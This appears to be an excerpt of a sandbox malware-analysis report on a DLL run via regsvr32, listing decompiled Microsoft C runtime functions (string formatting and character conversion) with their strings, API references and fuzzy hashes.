String ID: ( (_Stream->_flag & _IOSTRG) || ( fn = _fileno(_Stream), ( (_textmode_safe(fn) == __IOINFO_TM_ANSI) && !_tm_unicode_safe(fn))))$("Incorrect format specifier", 0)$((state == ST_NORMAL) || (state == ST_TYPE))$(format != NULL)$(stream != NULL)$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 4023976971-2293733425
Opcode ID: 418e75de3b5502e14211c5140618c90997ad4f56b588356074338880c32fc633
Instruction ID: fa666a0989dbdcd631dba14fdf712f3fd1171dc1b338b0fed7bc0ada6eb2a45d
Opcode Fuzzy Hash: 418e75de3b5502e14211c5140618c90997ad4f56b588356074338880c32fc633
Instruction Fuzzy Hash: 8B024A72A0D7C28AE7B09B24E8447BEB7E4F384345F604126D6CC46AA9DB7EE545CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35EA0 Relevance: 31.8, APIs: 15, Strings: 3, Instructions: 256COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D35F9D
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3603F

Strings

_mbstowcs_l_helper, xrefs: 000007FEF9D35F8F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c, xrefs: 000007FEF9D35F4E, 000007FEF9D35F88
s != NULL, xrefs: 000007FEF9D35F39, 000007FEF9D35F96

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~__invalid_parameter
String ID: _mbstowcs_l_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c$s != NULL
API String ID: 530996419-3695252689
Opcode ID: 1f2dbb67bc1f08ab970a747115c78d639e8f09549dde5f83a97e8aad344e67fd
Instruction ID: dd73616ddae2cae72d7b30165dff30affe8ff5e8ed842a8499c58fb9266416ee
Opcode Fuzzy Hash: 1f2dbb67bc1f08ab970a747115c78d639e8f09549dde5f83a97e8aad344e67fd
Instruction Fuzzy Hash: FAD11832A1CBC585E7A09B15E8407AEB7A0F784794F605626E6DE83BE9DF3DD444CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3B090 Relevance: 31.7, APIs: 11, Strings: 7, Instructions: 219COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B197
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B226
_invalid_parameter.LIBCMTD ref: 000007FEF9D3B2DC
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B2EE
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3B334

Strings

sizeInBytes <= INT_MAX, xrefs: 000007FEF9D3B133, 000007FEF9D3B190
", xrefs: 000007FEF9D3B2E1
sizeInBytes > 0, xrefs: 000007FEF9D3B278, 000007FEF9D3B2D5
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wctomb.c, xrefs: 000007FEF9D3B148, 000007FEF9D3B182, 000007FEF9D3B28D, 000007FEF9D3B2C7, 000007FEF9D3B442, 000007FEF9D3B47C
("Buffer too small", 0), xrefs: 000007FEF9D3B42D, 000007FEF9D3B48A
", xrefs: 000007FEF9D3B496
_wctomb_s_l, xrefs: 000007FEF9D3B189, 000007FEF9D3B2CE, 000007FEF9D3B483

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: "$"$("Buffer too small", 0)$_wctomb_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wctomb.c$sizeInBytes <= INT_MAX$sizeInBytes > 0
API String ID: 2192614184-1854130327
Opcode ID: aa152b01a59852e776b44a3c5c58d1ae4cb5e6b33e85f9a53a8f9bb433ba7f1c
Instruction ID: 7076a95ac8019ae0c7cbf4bc144243c7f76c7d2257b38824bc8c592ccc79079f
Opcode Fuzzy Hash: aa152b01a59852e776b44a3c5c58d1ae4cb5e6b33e85f9a53a8f9bb433ba7f1c
Instruction Fuzzy Hash: 33C10932A0D68286E7B09B54E8547BEB7E0F784744F604126E6CD87AE9CB7EE444CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3D830 Relevance: 26.5, APIs: 9, Strings: 6, Instructions: 225COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3D955
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3D96A
_invalid_parameter.LIBCMTD ref: 000007FEF9D3DA1D
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DA32
_invalid_parameter.LIBCMTD ref: 000007FEF9D3DBE4
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3DBF9
_invalid_parameter.LIBCMTD ref: 000007FEF9D3ED4C
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED61
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D3ED82

Strings

(stream != NULL), xrefs: 000007FEF9D3D8EE, 000007FEF9D3D94E
((state == ST_NORMAL) || (state == ST_TYPE)), xrefs: 000007FEF9D3ECE5, 000007FEF9D3ED45
_woutput_s_l, xrefs: 000007FEF9D3D947, 000007FEF9D3DA0F, 000007FEF9D3DBD6, 000007FEF9D3ED3E
(format != NULL), xrefs: 000007FEF9D3D9B6, 000007FEF9D3DA16
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3D903, 000007FEF9D3D940, 000007FEF9D3D9CB, 000007FEF9D3DA08, 000007FEF9D3DB92, 000007FEF9D3DBCF, 000007FEF9D3ECFA, 000007FEF9D3ED37

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: ("Incorrect format specifier", 0)$((state == ST_NORMAL) || (state == ST_TYPE))$(format != NULL)$(stream != NULL)$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2192614184-1870338870
Opcode ID: 6ca64bf4fa78d85cba0345094e3509d1db8362709fbf7feea33e231a459a9eed
Instruction ID: de6734cae50e00c17b19ae97f10413d83fe6e5a887ca475c0331002d176214a7
Opcode Fuzzy Hash: 6ca64bf4fa78d85cba0345094e3509d1db8362709fbf7feea33e231a459a9eed
Instruction Fuzzy Hash: 66D10972A0DA828AE7B09F64E8447AFB6E0F384349F604125D6CD47AE8DB7ED545CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3C6D6 Relevance: 24.8, APIs: 9, Strings: 5, Instructions: 332
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E000007FE7FEF9D3C6D6(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, char _a85, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a688, intOrPtr _a704, intOrPtr _a708, signed char _a816, signed int _a824, signed int _a832, intOrPtr _a840, signed short* _a848, signed char _a856, char _a860, char _a864, long long _a872, intOrPtr _a876, intOrPtr _a912, intOrPtr _a916, signed int _a1040, long long _a1048, signed short _a1056, long long _a1060, signed int _a1064, intOrPtr _a1088, char _a1112) {
				signed int _t223;
				signed char _t228;
				intOrPtr _t263;
				signed int _t338;
				signed int _t339;
				signed long long _t342;
				intOrPtr* _t365;
				signed long long _t390;

				_t338 = __rax;
				_a80 = _a80 | 0x00000040;
				_a72 = 0xa;
				_a72 = 0xa;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a708 = 7;
				_a708 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c754;
				_a84 = 0x30;
				_a85 = _a708 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3c777;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3c79e;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t338;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3c7c5;
				E000007FE7FEF9D31EA0( &_a1112);
				_a824 = _t338;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3c810;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c7f6;
				_t339 = E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c80e;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c84b;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c834;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				goto 0xf9d3c84b;
				E000007FE7FEF9D31E40( &_a1112);
				_a824 = _t339;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3c882;
				if (_a824 >= 0) goto 0xf9d3c882;
				_a832 =  ~_a824;
				asm("bts eax, 0x8");
				goto 0xf9d3c892;
				_t342 = _a824;
				_a832 = _t342;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3c8c7;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3c8c7;
				_a832 = _a832 & _t342;
				if (_a116 >= 0) goto 0xf9d3c8d8;
				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t223 = _a116;
				_a116 = _a116 - 1;
				if (_t223 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t223 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t228 = _a816 + _a708;
				_a816 = _t228;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t228;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t263 = _a1060;
				_a876 = _t263;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t365 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t365;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t263 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t365 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t390, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c6d6
0x7fef9d3c6dd
0x7fef9d3c6e1
0x7fef9d3c6ee
0x7fef9d3c6f8
0x7fef9d3c704
0x7fef9d3c70c
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C
get_int64_arg.LIBCMTD ref: 000007FEF9D3C7B3
wctomb_s.LIBCMTD ref: 000007FEF9D3CBB1

Strings

_output_s_l, xrefs: 000007FEF9D3BAFB
9, xrefs: 000007FEF9D3C98F
-, xrefs: 000007FEF9D3CA54
("Incorrect format specifier", 0), xrefs: 000007FEF9D3BAA2, 000007FEF9D3BB02
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3BAB7, 000007FEF9D3BAF4

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg$wctomb_s
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 2984758162-268265396
Opcode ID: cb04687210e10a40ff2e156ef9e98a018461938d26ba5bbfa7ecca48610614c7
Instruction ID: a9c1e15515d35d7cf033a694107a1be22a212de4b62ef600bdbf999f0f55ea8a
Opcode Fuzzy Hash: cb04687210e10a40ff2e156ef9e98a018461938d26ba5bbfa7ecca48610614c7
Instruction Fuzzy Hash: 7202ED7260DBC586E7B1CB25E8857AEB7E4F384795F200125EACD86AA8DB7DD540CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D363E0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 260COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D364BD
_invalid_parameter.LIBCMTD ref: 000007FEF9D3666E
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36680
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36772
_invalid_parameter.LIBCMTD ref: 000007FEF9D368E8
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D368FA
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D36959

Strings

P, xrefs: 000007FEF9D36912
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c, xrefs: 000007FEF9D3646E, 000007FEF9D364A8, 000007FEF9D3661F, 000007FEF9D36659, 000007FEF9D36899, 000007FEF9D368D3
", xrefs: 000007FEF9D368ED
bufferSize <= INT_MAX, xrefs: 000007FEF9D3660A, 000007FEF9D36667
_mbstowcs_s_l, xrefs: 000007FEF9D364AF, 000007FEF9D36660, 000007FEF9D368DA
retsize <= sizeInWords, xrefs: 000007FEF9D36884, 000007FEF9D368E1
(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0), xrefs: 000007FEF9D36459, 000007FEF9D364B6

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_$_invalid_parameter
String ID: "$(pwcs == NULL && sizeInWords == 0) || (pwcs != NULL && sizeInWords > 0)$P$_mbstowcs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\mbstowcs.c$retsize <= sizeInWords
API String ID: 2192614184-660564692
Opcode ID: 195fbd3003f3c87b3f41f90d73ab024ba3d25bb3ae880b5a9c818d30aa2f9b48
Instruction ID: 92bf99913cb81df5d7f4b76c0ee557dab353d6c18ff2e6375d0d5446e39197ae
Opcode Fuzzy Hash: 195fbd3003f3c87b3f41f90d73ab024ba3d25bb3ae880b5a9c818d30aa2f9b48
Instruction Fuzzy Hash: 8DE10C31A0DBC685E7B09B14E8457AEA3E0F384754FA04626D6DD53AE8DF7ED484CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D355F0 Relevance: 24.2, APIs: 16, Instructions: 206
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E000007FE7FEF9D355F0(void* __ecx, long long __rcx, long long __rdx, signed int* __r8, signed int* __r9, long long _a8, void* _a16, signed int* _a24, signed int* _a32) {
				long long _v24;
				long long _v32;
				long long _v40;
				long long _v48;
				long long _v56;
				void* _v64;
				long long _v72;
				void* _t88;
				void* _t89;
				void* _t107;
				void* _t109;
				signed int* _t158;
				signed int* _t160;
				long long _t175;
				long long _t186;
				signed int* _t187;
				signed int* _t193;

				_a32 = __r9;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v72 = 0;
				_t158 = _a24;
				if ( *((intOrPtr*)(_t158 + 4)) == 0) goto 0xf9d35639;
				_t89 = E000007FE7FEF9D2E680(_t88, _t158);
				_v56 = _t158 + _a24[1];
				goto 0xf9d35642;
				_v56 = 0;
				if (_v56 == 0) goto 0xf9d356aa;
				_t160 = _a24;
				if ( *((intOrPtr*)(_t160 + 4)) == 0) goto 0xf9d35673;
				E000007FE7FEF9D2E680(_t89, _t160);
				_v48 = _t160 + _a24[1];
				goto 0xf9d3567c;
				_v48 = 0;
				if ( *((char*)(_v48 + 0x10)) == 0) goto 0xf9d356aa;
				if (_a24[2] != 0) goto 0xf9d356b1;
				if (( *_a24 & 0x80000000) != 0) goto 0xf9d356b1;
				goto 0xf9d35966;
				if (( *_a24 & 0x80000000) == 0) goto 0xf9d356d0;
				_v64 = _a16;
				goto 0xf9d356e9;
				_v64 = _a24[2] +  *_a16;
				if (( *_a24 & 0x00000008) == 0) goto 0xf9d35765;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d3575b;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d3575b;
				 *_v64 =  *((intOrPtr*)(_a8 + 0x28));
				_t175 = _v64;
				E000007FE7FEF9D35B30(_t100,  *_t175,  &(_a32[2]));
				 *_v64 = _t175;
				goto 0xf9d35760;
				E000007FE7FEF9D2CF80(_t175);
				goto 0xf9d3595a;
				if (( *_a32 & 0x00000001) == 0) goto 0xf9d35813;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d35809;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d35809;
				_t107 = E000007FE7FEF9D2C410(__ecx, E000007FE7FEF9D3D2C0(1, _v64), _v64,  *((intOrPtr*)(_a8 + 0x28)), _a32[5]);
				if (_a32[5] != 8) goto 0xf9d35807;
				if ( *_v64 == 0) goto 0xf9d35807;
				_t186 = _v64;
				E000007FE7FEF9D35B30(_t107,  *_t186,  &(_a32[2]));
				 *_v64 = _t186;
				goto 0xf9d3580e;
				_t109 = E000007FE7FEF9D2CF80(_t186);
				goto 0xf9d3595a;
				_t187 = _a32;
				if ( *((intOrPtr*)(_t187 + 0x18)) == 0) goto 0xf9d3583c;
				E000007FE7FEF9D2E6A0(_t109, _t187);
				_v40 = _t187 + _a32[6];
				goto 0xf9d35845;
				_v40 = 0;
				if (_v40 != 0) goto 0xf9d358c6;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d358bc;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d358bc;
				_t191 = _a32[5];
				_v32 = _a32[5];
				E000007FE7FEF9D35B30(_t112,  *((intOrPtr*)(_a8 + 0x28)),  &(_a32[2]));
				E000007FE7FEF9D2C410(__ecx, E000007FE7FEF9D3D2C0(1, _v64), _v64, _a32[5], _v32);
				goto 0xf9d358c1;
				E000007FE7FEF9D2CF80(_t191);
				goto 0xf9d3595a;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d35955;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d35955;
				_t193 = _a32;
				if ( *((intOrPtr*)(_t193 + 0x18)) == 0) goto 0xf9d35919;
				E000007FE7FEF9D2E6A0(_t117, _t193);
				_v24 = _t193 + _a32[6];
				goto 0xf9d35922;
				_v24 = 0;
				if (E000007FE7FEF9D3D2F0(_v24) == 0) goto 0xf9d35955;
				_t195 = _a32;
				if (( *_a32 & 0x00000004) == 0) goto 0xf9d3594b;
				_v72 = 2;
				goto 0xf9d35953;
				_v72 = 1;
				goto 0xf9d3595a;
				E000007FE7FEF9D2CF80(_a32);
				E000007FE7FEF9D2CF50(_t195);
				return _v72;
			}

0x7fef9d355f0
0x7fef9d355f5
0x7fef9d355fa
0x7fef9d355ff
0x7fef9d35608
0x7fef9d35610
0x7fef9d3561c
0x7fef9d3561e
0x7fef9d35632
0x7fef9d35637
0x7fef9d35639
0x7fef9d35648
0x7fef9d3564a
0x7fef9d35656
0x7fef9d35658
0x7fef9d3566c
0x7fef9d35671
0x7fef9d35673
0x7fef9d35687
0x7fef9d35695
0x7fef9d356a8
0x7fef9d356ac
0x7fef9d356c2
0x7fef9d356c9
0x7fef9d356ce
0x7fef9d356e4
0x7fef9d356f8
0x7fef9d3570f
0x7fef9d35722
0x7fef9d35732
0x7fef9d35744
0x7fef9d3574c
0x7fef9d35756
0x7fef9d35759
0x7fef9d3575b
0x7fef9d35760
0x7fef9d35774
0x7fef9d3578f
0x7fef9d357a2
0x7fef9d357c1
